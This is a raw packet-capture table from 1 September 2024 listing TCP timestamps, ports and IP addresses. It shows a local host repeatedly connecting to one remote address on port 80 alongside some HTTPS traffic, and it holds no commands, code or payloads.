Sep 1, 2024 02:51:16.755703926 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.758076906 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:16.762852907 CEST	80	50020	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:17.027137041 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:17.027163029 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:17.033703089 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:17.033720970 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:17.505105972 CEST	80	50020	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:17.505256891 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.612618923 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.612873077 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.617975950 CEST	80	50020	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:17.618038893 CEST	50020	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.618179083 CEST	80	50021	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:17.618237019 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.618463039 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:17.623342037 CEST	80	50021	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:18.380317926 CEST	80	50021	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:18.385262966 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.385262966 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.386634111 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.392616987 CEST	80	50022	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:18.393229961 CEST	80	50021	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:18.394963980 CEST	50021	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.394963980 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.395128965 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:18.400340080 CEST	80	50022	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.136239052 CEST	80	50022	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.136295080 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.250092030 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.250488997 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.255351067 CEST	80	50023	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.255404949 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.255474091 CEST	80	50022	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.255516052 CEST	50022	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.255669117 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:19.260776043 CEST	80	50023	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.884753942 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:19.884777069 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:19.884891987 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:51:19.884915113 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:51:19.997318983 CEST	80	50023	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:19.997370005 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.000686884 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.001007080 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.008001089 CEST	80	50024	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.008677959 CEST	80	50023	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.011020899 CEST	50023	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.011020899 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.011123896 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.015862942 CEST	80	50024	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.769974947 CEST	80	50024	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.774652958 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.874754906 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.874777079 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.879563093 CEST	80	50026	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.879936934 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.879970074 CEST	80	50024	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:20.880021095 CEST	50024	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.880191088 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:20.885469913 CEST	80	50026	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:21.585383892 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:21.585423946 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:21.585475922 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:21.585721970 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:21.585741997 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:21.621484995 CEST	80	50026	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:21.621532917 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.625714064 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.626044035 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.630867958 CEST	80	50026	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:21.630887032 CEST	80	50028	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:21.630918980 CEST	50026	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.630969048 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.631072044 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:21.635951996 CEST	80	50028	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:22.238956928 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:22.242984056 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:22.243000031 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:22.243307114 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:22.243705034 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:22.243762016 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:22.246644974 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:22.288502932 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:22.293268919 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:22.385379076 CEST	80	50028	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:22.387103081 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.499118090 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.499504089 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.504127026 CEST	80	50028	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:22.504235983 CEST	50028	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.504338980 CEST	80	50029	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:22.504460096 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.504523039 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:22.509836912 CEST	80	50029	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:23.099843979 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099865913 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099874973 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099896908 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099908113 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099912882 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099919081 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.099936962 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.099961996 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.099973917 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.185643911 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.185663939 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.185702085 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.185714006 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.185748100 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.185766935 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.188092947 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.188119888 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.188175917 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.188184023 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.188250065 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.249044895 CEST	80	50029	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:23.249108076 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.252440929 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.252804995 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.258394003 CEST	80	50029	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:23.258451939 CEST	50029	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.258714914 CEST	80	50031	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:23.258773088 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.258896112 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:23.263902903 CEST	80	50031	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:23.271517038 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.271533966 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.271574020 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.271581888 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.271599054 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.271617889 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.272452116 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.272465944 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.272526026 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.272535086 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.272603035 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.273437023 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.273452044 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.273516893 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.273530006 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.273596048 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.275319099 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.275332928 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.275363922 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.275372982 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.275398016 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.275417089 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358278990 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358294964 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358326912 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358335018 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358356953 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358376980 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358805895 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358820915 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358860016 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358866930 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.358885050 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.358913898 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359152079 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359165907 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359205961 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359213114 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359230042 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359244108 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359774113 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359787941 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359818935 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359826088 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.359849930 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.359872103 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363099098 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363114119 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363168955 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363177061 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363244057 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363408089 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363423109 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363461018 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363466978 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363491058 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363508940 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363574028 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363588095 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363615036 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363621950 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.363651991 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.363670111 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.364511013 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.364523888 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.364552975 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.364559889 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.364583015 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.364599943 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445107937 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445122004 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445172071 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445183039 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445198059 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445226908 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445394039 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445408106 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445447922 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445456028 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445497036 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445826054 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445839882 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445883989 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445890903 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.445990086 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.445998907 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446012974 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446048021 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446054935 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446078062 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446095943 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446337938 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446355104 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446389914 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446397066 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446419001 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446444035 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446629047 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446645975 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446680069 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446686029 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.446702003 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446721077 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.446996927 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.447010994 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.447052956 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.447060108 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.447091103 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.447104931 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.531702995 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.531718969 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.531758070 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.531765938 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.531800032 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.531814098 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532011986 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532026052 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532058001 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532069921 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532079935 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532124043 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532145977 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532195091 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532201052 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532212973 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532221079 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:23.532249928 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532269955 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532824993 CEST	50027	443	192.168.2.4	13.107.246.40
Sep 1, 2024 02:51:23.532840014 CEST	443	50027	13.107.246.40	192.168.2.4
Sep 1, 2024 02:51:24.011217117 CEST	80	50031	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.011271954 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.123914003 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.123915911 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.129028082 CEST	80	50031	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.129188061 CEST	80	50032	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.129271030 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.129271030 CEST	50031	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.129471064 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.134253979 CEST	80	50032	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.636894941 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:51:24.636915922 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:51:24.886868954 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:51:24.886877060 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:51:24.906452894 CEST	80	50032	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.906546116 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.909718037 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.909719944 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.914485931 CEST	80	50033	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.914707899 CEST	80	50032	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:24.914787054 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.914788961 CEST	50032	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.914930105 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:24.920752048 CEST	80	50033	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:25.656822920 CEST	80	50033	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:25.656883955 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.766834021 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.767261028 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.771991968 CEST	80	50033	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:25.772034883 CEST	50033	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.772495985 CEST	80	50034	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:25.772586107 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.772768021 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:25.778152943 CEST	80	50034	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:26.511717081 CEST	80	50034	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:26.511956930 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.514444113 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.514815092 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.519627094 CEST	80	50034	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:26.519821882 CEST	80	50035	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:26.519845963 CEST	50034	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.520015001 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.520102024 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:26.524864912 CEST	80	50035	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:27.270612001 CEST	80	50035	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:27.270669937 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.394682884 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.395143032 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.402000904 CEST	80	50036	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:27.402111053 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.402435064 CEST	80	50035	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:27.402465105 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.402482033 CEST	50035	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:27.407449007 CEST	80	50036	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.153264999 CEST	80	50036	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.154819012 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.157427073 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.157464981 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.162765026 CEST	80	50037	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.163011074 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.163288116 CEST	80	50036	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.163321018 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.163439989 CEST	50036	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:28.168329954 CEST	80	50037	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.945425034 CEST	80	50037	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:28.945554972 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.066591978 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.067300081 CEST	50038	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.071711063 CEST	80	50037	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:29.071758032 CEST	50037	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.072117090 CEST	80	50038	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:29.072176933 CEST	50038	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.072417974 CEST	50038	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.077687025 CEST	80	50038	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:29.858737946 CEST	80	50038	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:29.858788967 CEST	50038	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:29.862497091 CEST	50038	80	192.168.2.4	185.215.113.19
